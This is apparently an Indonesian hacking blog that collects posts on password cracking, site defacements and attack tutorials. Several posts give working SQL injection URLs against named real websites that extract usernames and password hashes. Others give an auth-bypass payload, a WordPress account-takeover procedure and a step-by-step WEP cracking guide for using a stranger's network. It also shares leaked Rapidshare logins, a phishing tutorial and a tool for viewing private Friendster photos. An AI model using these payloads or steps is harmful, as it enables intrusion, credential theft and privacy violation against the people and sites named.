cracking password menggunakan GPU

• Worlds fastest password cracker
• Worlds first and only GPGPU based rule engine
• Free
• Multi-GPU (up to 128 gpus)
• Multi-Hash (up to 100 million hashes)
• Multi-OS (Linux & Windows native binaries)
• Multi-Platform (OpenCL & CUDA support)
• Multi-Algo (see below)
• Low resource utilization, you can still watch movies or play games while cracking
• Focuses highly iterated modern hashes
• Focuses dictionary based attacks
• Supports distributed cracking
• Supports pause / resume while cracking
• Supports sessions
• Supports restore
• Supports reading words from file
• Supports reading words from stdin
• Supports hex-salt
• Supports hex-charset
• Built-in benchmarking system
• Integrated thermal watchdog
• 150+ Algorithms implemented with performance in mind
• ... and much more

permalink artikel by murray  + ixplizit

download here

Lanjut Baca....

(sumber Jasakom) - Hacker Indonesia Menuntut Balas, Situs Hacker Malaysia di Deface

Pertarungan antara hacker malaysia dan hacker indonesia kini tampaknya terjadi secara langsung dimana antar kelompok hacker kini saling menyerang. Kali ini, komunitas hacker malaysia, tbd.my  yang telah melakukan penyerangan ke komunitas hacker indonesia berhasil dilumpuhkan.
Setelah melakukan serangan ke situs komunitas hacker indonesia, tampaknya komunitas underground indonesia mulai bersatu dan menuntut balas secara bersama-sama. Serangan ddos balasan dilakukan dan terakhir, situs tdb.my yang telah mendeface situs jasakom beserta situs-situs lainnya berhasil di deface oleh yogyacarderlink.

YOGYACARDERLINK
Indonesian BlackHat Team


We are exist, and we are revenge for Indonesian Hacker's name

Menurut informasi yang ada, database beserta file-file yang ada didalamnya juga telah dihapus secara total. Kali ini, giliran situs hacker malaysia yang harus mengambil file dan database backup untuk bisa diaktifkan kembali.

Lanjut Baca....

deptan.go.id hacked by 1g3

http://www.deptan.go.id/tampil.php?page=kelembagaan&id=-31%20union%20select%20all%201,2,3,version%28%29,5,6,7,8,9--
bug sql injection http://www.deptan.go.id sampai saat artikel ini diposting blom sama sekali di patch sama adminya...ada apa yach dengan adminya..padahal bug tersebut udah lama ditemukan..... visit http://www.deptan.go.id/bpsdmp/admin/gambar/

Lanjut Baca....

ambonekspres.com hacked by 1g3

Lanjut Baca....

fajar.co.id hacked by 1g3

Website fajar.co.id hacked by 1g3
http://fajar.co.id/index.php?option=news&id=67095
mungkin dah di benerin...makanya liat imagenya aja :p

tambahan :

http://www.fajar.co.id/photohead/12512121701g3.html

Lanjut Baca....

Goolag Scanner: Google search on steroids!

Anda semua harus menyadari Google sebagai 'hacker terbaik teman'. Ia memainkan peran penting dalam penyelidikan. Anda dapat menemukan banyak dorks untuk semua aplikasi web, dll Ada ton Google diaktifkan, aplikasi yang memungkinkan Anda melakukan itu semua. Tetapi, ketika nama seperti CDC, singkatan dari Cult of Dead Cow setiap jenis alat, menjadi penting! Jadi, Goolag Scanner adalah produk dari CDC laboratorium.

ScannerGoolag telah dirilis beberapa waktu tahun terakhir. It is a dork alat. Hal ini otomatis' pencarian Google 'aplikasi. Oleh Google mencari ', berarti kami penggunaan dorks, Google Dorks harus tepat. Goolag scanner mengambil keuntungan dari Google dorks dan membantu Anda menemukan beberapa mengesankan informasi mengenai aplikasi web. Pada masa lalu, informasi seperti password, informasi kartu kredit, dll telah ditemukan melalui dorks.

Sekarang, satu hal yang sangat baik mengenai hal ini adalah aplikasi yang dapat dijalankan melalui www.goolag.org, atau dari OS Windows Anda selama ini mendukung. Net Framework. It is open source too! Menggunakan satu xml file konfigurasi berbasis untuk pengaturannya. File ini terletak di sini:

{$Goolag Scanner-Installation Directory}/DorkData/gdorks.xml

Anda juga dapat menggunakan proxy untuk memindai host.

Pada saat ini adalah versi Beta 1.0.0.41, yang dapat didownload di sini. Berisi link ke kedua: sumber dan kode program dikompilasi juga.

permalink

The Goolag Scanner is a tool that has been released by the Cult of the Dead Cow to automate Google hacking using 1,500 predefined search queries.
http://packetstormsecurity.org/filedesc/GoolagScanner-1.0.41.rar.html

Lanjut Baca....

Penetration Test - SIW vs Wireless keyview

Target
Jaht - (diset sebagai access point)
wepkey menggunakan WPA2 (WPA-PSK)
koneksi menggunakan fastnet unlimite 356 kbps

Pelaku Kejahatan (huehehe)
Laptop Lenovo dengan wifi internal Broadcom 802.11g Network Adapter
OS Windows XP SP2

SIW here and Wireless Key View here

webtool
http://www.wifizard.com/wi-fi/convert.htm
http://www.csgnetwork.com/wepgeneratorcalc.html

Tujuan
apakah dengan mengetahui Key (Hex)
ex : 7f1d1dfadd4c3716d3a34f6fec0832fb51bfdc6466f27bae3fdd0bb7076ccea3
target bisa memberikan kita akses share internet dan segalanya?

Start
wardriving dengan wifi connection manager (windows)

ap tsb menggunakan wepkey WPA2 (WPA-PSK)
running wirelsskeyview dan siw, akhirnya didapatkan screen shoot dibawah ini

Wirelesskeyview




report WKV
SIW






report SIW

buka webtools untuk memecah bilangan hex tsb
http://www.wifizard.com/wi-fi/convert.htm
http://www.csgnetwork.com/wepgeneratorcalc.html
(blm nemu yang tools offlinenya)

hasilnya seperti ini
kemudian memasukkan hasil














Hasil
Gagal ... !!! WPA







connected namun hingga tiga jam proses accruing ip tidak kelar2 :p






WPA2 Mixed, klo wpa yang biasa bisa kejebol :p
mungkin pake ubuntu lebih cepat ya...:)

download here

Lanjut Baca....

Jebol Security Wireless (WEP) dgn OS ubuntu 9.04 (jaunty)

Menjebol wifi dengan proteksi WEP (wired equivalent Privacy) key susah2 gampang…..yg dibutuhkan hanya kesabaran dantool2 pamungkas yg harus kita miliki…..nah tutor berikut ini merupakan hasil riset q-under yg baru2 sj dilakukan….yg diperuntukan demi kepentingan edukasi semata…jadi teringat potongan kata dari manifesto hacker ,he.he..“ini adalah dunia kami sekarang, dunianya elecktron & switch, keindahan sebuah baut,kami mendayagunakan sebuah system yg telah ada tanpa membayar, yg bisa jadi biaya tersebut sangatlah murah jika tidak dijalankan dengan nafsu tamak mencari keuntungan, & kalian sebut kami criminal…”….oke tanpa berpanjang-panjang berikut langkahnya…(he…he..kayak dosen sj bela….padahal masih cupuji...)

Riset kali ini sy menggunakan OS linux ubuntu 9.04 (jaunty) trus untuk wirelesnya sy menggunakan chipset intel 3945 ABG (driver iwl3945)……nah untuk melakukan hacking wep key wifi pastikan beberapa tool sudah terinstal paket2nya di ubuntu dan wireless anda dapat melakukan aktivitas monitoring. Untuk toolnya penulis menggunakan aircrack-ng & wireshark.

Berikut langkah-langkahnya:

Masuk ke console trus ketikan perintah dibawah ini

#sudo iwconfig

Dgn perintah diatas kita telah mengetahui lokasi wireless kita berada (wlan0), trus lanjutkan perintah untuk mengetahui mac addres wireless (wlan0) kita.

#sudo ifconfig

#sudo airmon-ng stop wlan0 (menonaktifkan mode monitoring wifi kita)

#sudo iwlist scanning wlan0 (scanning accespoint)

Nah…sampai disini kita telah berhasil mendapatkan acces point sasaran kita….

Setelah itu aktifkan kembali wifi kita ke mode monitoring

#sudo airmon-ng start wlan0

Langkah selanjutnya adalah menangkap paket2 yg lalu lalang di accespoint sasaran kita.

#sudo airodump-ng c 9 –bssid 00:02:6f:52:35:ff –w output wlan0

Nah kita sudah kita sampe tahap yg paling menyebalkan yaitu menunggu……tp ada pepatah mengatakan “berakit-rakit dahulu berenang kemudian….he…he…he…”,intinya kesabaran kita sangat penting dalam tahap ini, tergantung dari banyaknya paket2 yg kita dapatkan…semakin banyak client yg konek maka semakin cepat kita mendapatkan wep keynya……

Klo bosan menunggu lama & tak sabar melihat hasilnya lanjutkan ketahap berikutnya… biarkan langkah diatas berjalan kemudian buka console lalu ketikan perintah dibawah ini untuk mengcapture paket2….

#sudo aircrack-ng –z –b 00:02:6f:52:35:ff –w output*cap

Ha…ha…..sampai tahap ini kita sudah berhasil mendapatkan wep keynya……lihat gambar diatas yg ad tulisan key found! [……bla…bla…bla…]…itu adalah wep key dari acces point sasaran kita….

NB:biarkan langkah airodump-ng diatas berjalan sampai Ivs kita mencukupi….n kita mendapatkan keynya….

Setelah kita mendapatkan keynya,coba konek ke AP tersebut dgn memasukan key yg kita dapatkan…Waduuuuuhhhhh……ternyata setelah memasukan key…wireless bloom bisa konek…itu tandanya perjuangan bloom selesai….kita lanjuntkan kelangkah berikutnya….Dan ternyata setelah kuperiksa dhcp servernya di non aktifkan…artinya ip yg digunakan adalah IP static…..Nah untuk …..mendapatkan range IP yg digunakan disini aq menggunakan wireshark…..untuk melihat lalu lintas paket dari AP tersebut……..coba perhatikan gambar dibawah……

Terlihat pada gambar diatas….gateway & range IP yg digunakan untuk konek ke AP tersebut

He….he…he…..ternyata setelah menyeting ip address berdasarkan range ip diatas…..sy sudah dapat konek ke AP tersebut dan berinternet ria dgn gratis…..ha….ha….Untuk DNS servernya sy menggunakan free DNS punyanya openDNS…. coba lihat hasil tes koneksi dibawah ini…

Ternyata koneksinya luar biasa cepatnya..he…he….he…he

Uji tes PING ke Yahoo.com

Usaha yg keras & sungguh-sungguh akan mendapatkan hasil yg baik pula…

Artikel ini hanya untuk keperluan Riset N edukasi semata…penyalagunaanya diluar tanggung jawab kami

semoga bermanfaat bagi kita semua…

Terimakasih buat teman2 semua…

Bersambung......lanjut Ke riset Berikutnya.....

Bravo Q-under )<>(

Lanjut Baca....

Zen Help Desk Version 2.1

---------------------------------------------------------------
------------------------------------------------------------
Zen Help Desk Version 2.1 (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.zenhelpdesk.com/
Script:Zen Help Desk Version 2.1
---------------------------------------------------------------
---------------------------------------------------------------
Exploit:
-------
http://www.site.com/admin.asp

username:[admin_name]' or '1=1
password: No Thing

or

username:' or '1=1
password:' or '1=1

--------------------------------------
Dem0
---
http://helpdesk-demo.com/admin.asp

--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------


source : http://www.milw0rm.com/exploits/8825

Lanjut Baca....

BackTrack 4 Beta released

Tanggal 11 Februari 2009 kemaren BackTrack 4 Beta telah di rilis, Dalam Versi ini ada beberapa fitu baru yang disertakan antara lain FPGAs to generate rainbow tables and do lookups for things like WPA, GSM, and Bluetooth cracking.

Saat ini telah tersedia dan dapat di download dengan kemasan dalam deskripsi DVD Image yang berukuran 854 MB.

Ingin Mengunduh BackTrack 4 Beta? silahkan klik link berikut ini :

Server Luar atau Server Lokal

Lanjut Baca....

Phising Account Premium Rapidshare [ Tutorial With Video ]

Download Here

Lanjut Baca....

Joomla Component Portfol SQL Injection Vulnerability

Pagi ini jalan-jalan ke milw0rm eh ternyata ada exploit baru buat website yang menggunakkan joomla dan component Portfol ni alamat lengkapnya http://www.milw0rm.com/exploits/7734 langsung dech dicoba.

Masuk ke google masukin dork-nya inurl:"com_portfol" dapat banyak kan, :D

pilih aja salah satunya, ni contoh web yang masih bisa di injec :

http://www.viwebdesigns.com/index.php?option=com_portfol&Itemid=8&task=viewcategory&vcatid=-8+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.tissea.co.uk/index.php?option=com_portfol&Itemid=413&task=viewcategory&vcatid=-95+union+select+concat(username,char(58),password)KHG+from+jos_users--

http://hentama.co.id/home/index.php?option=com_portfol&Itemid=127&task=viewcategory&vcatid=-14+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.kznia.org.za/index.php?option=com_portfol&Itemid=60&task=viewcategory&vcatid=-79+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.trigwebdesign.com/index.php?option=com_portfol&Itemid=66&task=viewcategory&vcatid=-18+union+select+concat(username,char(58),password)KHG+from+jos_users--

http://www.subcontrast.com/index.php?option=com_portfol&Itemid=24&task=viewcategory&vcatid=-20+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.weavermfg.com/index.php?option=com_portfol&Itemid=34&task=viewcategory&vcatid=-16+union+select+concat(username,char(58),password)KHG+from+jos_users--

dah y kalo mau yang lain silahkan cari sendiri. capek nich :D

Lanjut Baca....

Free Account Premium Rapidshare

Account ini sudah tidak dapat digunakan lagi ....(admin)

Rapidshare adalah salah satu situs penyimpan file terbesar di internet, di rapidshare kita bisa menyimpan file dan kita juga bisa mendownload file atau program dengan dua cara, pertama menggunakan free user (koneksi terbatas, tidak bisa membuka multiple koneksi) dan kedua menggughty6nakan Account Premium (file bisa dipecah-pecah menjadi banyak menggunakan program downloader seperti IDM atau downloader lainnya).
Yach... Bagi Yang suka download di rapidshare n nda punya acount Premium, coba dech, Acount premium dibawah ini mumpung bluum Expire, saat artikel ini diposting acountnya masih aktiv,...
tapi jangan dirubah passwordnya yach, biar kita semua bisa pakai.

Berikut ini login username dan passwordnya :

Username: 6442550
Password: www.freekonta.pl
Traffic left:12 000 MB (+53 GB)
Expiration date: Tue, 13. Oct 2009

login: www.freekonta.pl7
password: freekonta.pl
Expiration date: Tue, 3. Mar 2009

TOLONG JANGAN DIGANTI PASSWORDNYA… BIAR KITA SEMUA BISA PAKE....... OK

Lanjut Baca....

SQL Injection dengan schemafuzz

SQL Injection mungkin bukan kata yang aneh lagi bagi para orang yang suka hacking khususnya website, Sebelumnya artikel ini ditujukan untuk anda yang tau tentang perintah SQL walaupun dikit. Oke lanjut kli ini kita akan mencoba teknik SQL Injection menggunakkan python code yaitu schemafuzz.py untuk download silahkan Klik Disini. Ingat karena ini merupakan python code jadi kita perlu menginstall python untuk menjalankannya untuk download program python silahkan langsung ke website python.org atau Klik disini, silahkan sesuaikan dengan sistem Operasi yang anda pakai.

Oke langsung aja y, setelah selesai download pythonnya langsung install aja, kemudian jalankan lewat DOS caranya masuk ke
start menu -> Run -> cmd atau command.
selanjutnya pindah ke directory python yang sudah kita install ketik cd\ lalu enter, ketikan cd Python26 -> Enter sesuaikan dengan versi python yang dipakai. kemudian copy schemafuzz.py yang sudah kita download tadi kedalam directory python.
langkah selanjutnya adalah cari target sasaran kali ini kita akan coba dengan target http://www.windsurfing.gr kita cari dulu SQL vulnerable nya, kita dapatkan pada komponent com_xsstream-dm component untuk streaming video, sekarang coba masukan perintah SQL

http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*

lihat pesan kesalahannya dibawah ada angka 3

Setelah kita dapat kode kesalahan lanjutkan dengan schemafuzz.py untuk mendapatkan nama database, nama tabel dan nama kolom dalam tabel. caranya masuk ke DOS lagi terus ketikan :

C:\Python26>schemafuzz.py -u "http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,darkc0de,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*"

Rubah angka 3 yang ada diatas dengan darkc0de, hasilnya yang kita dapatkan seperti ini :

untuk mempelajari schemafuzz ini silahkan buka aja helpnya ketikan : schemafuzz.py -help.
dari gambar diatas kita bisa dapatkan Nama Database, User, Versi SQL yang digunakkan, Nama Tabel dan Nama Kolom dalam tabel.

setelah kita dapatkan semua,langkah selanjutnya extract kolom dalam tabel itu.



http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22+from+jos_users/*

hasilnya seperti ini :

dapat dech username dan password walaupun masih dalam bentuk MD5, selanjutnya cari sendiri y tool untuk MD5 decrypt cari aja di google. oke sekian dulu mudah-mudahan bermanfaat.

Lanjut Baca....

Mengintip Photo yang di Private di friendster

Bagi yang suka iseng baca baca friendster orang, tapi mati kutu giliran mau liat foto foto si pemiliknya ternyata di Private, pasti jadi BT apalagi dikatain sama yang punya FS...."kasian dech loh".

nah.....tool berikut dapat digunakan sebagai senjata ampuh buat ngebongkar foto foto yang di private di FS, silahkan download toolsnya di S I N I password buat mengestrak filenya adalah www.forum.kendari.info selain itu dibutuhkan juga program .Net Framework untuk menjalankannya, bagi yang belum punya silahkan juga download dari S I N I.

Buat pemilik FS :
[*] Mohon untuk tidak mengupload foto foto yang benar benar bersifat pribadi
[*] Demi keamanan, alangkah baiknya jika anda mengganti UID dengan nama atau yang lainnya.

Lanjut Baca....

archive: vulnerabilities in chrome

this all archive vulnerabilities in chrome i was found please click here to see

Lanjut Baca....

How To : WordPress 2.6.1 SQL Column Truncation Vulnerability

please read this about How To WordPress 2.6.1 SQL Column Truncation Vulnerability, but before please read in this link about mysql and sql column truncation vulnerabilities (http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/)

and step is :

1. go to url: server.com/wp-login.php?action=register

2. register as:

login: admin x
email: your email

^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword

4. write your email into field and submit this form

5. check your email and go to reset confirmation link

6. admin's password changed, but new password will be send to correct admin email ;/

thanks to : http://irk4z.wordpress.com/

Lanjut Baca....

MicroTik RouterOS 3.13 SNMP write (Set request) PoC exploit.

MicroTik RouterOS 3.13 SNMP write (Set request) PoC exploit. merupakan bug yang ditemukan oleh ShadOS (http://hellknights.void.ru), bug ini ada pada service SNMP dari Mirotik Router OS manualnya dapat dilihat di http://www.mikrotik.com/testdocs/ros/2.9/root/snmp_content.php

script ini juga dimuat di http://milw0rm.com/, untuk melihat script ini bisa di download disini

keep try, keep think

Lanjut Baca....

WordPress 2.6.1 SQL Column Truncation Vulnerability

neh ada vulnerability yang baru yang ada pada WP yang dimana vulnerability ini memungkinkan attacker untuk mengakses wp-admin.php. ini bisa terjadi jika admin mengijinkan ada registrasi untuk pendaftaran user baru :D

cara antisipasinya ya update tabel wp_users, dan buat user_login menjadi unique

sql:

ALTER TABLE `wp_users` ADD UNIQUE (
`user_login`
)

atau yaa di"close" ut registrasi ucer baru :D

source : http://milw0rm.com/exploits/6397
thanks to : all member k-under, milist komunitas linux indonesia

Lanjut Baca....

PC-Magazine 04 – 07 – 2008

| OUTLINK | ziddu |4shared |

Lanjut Baca....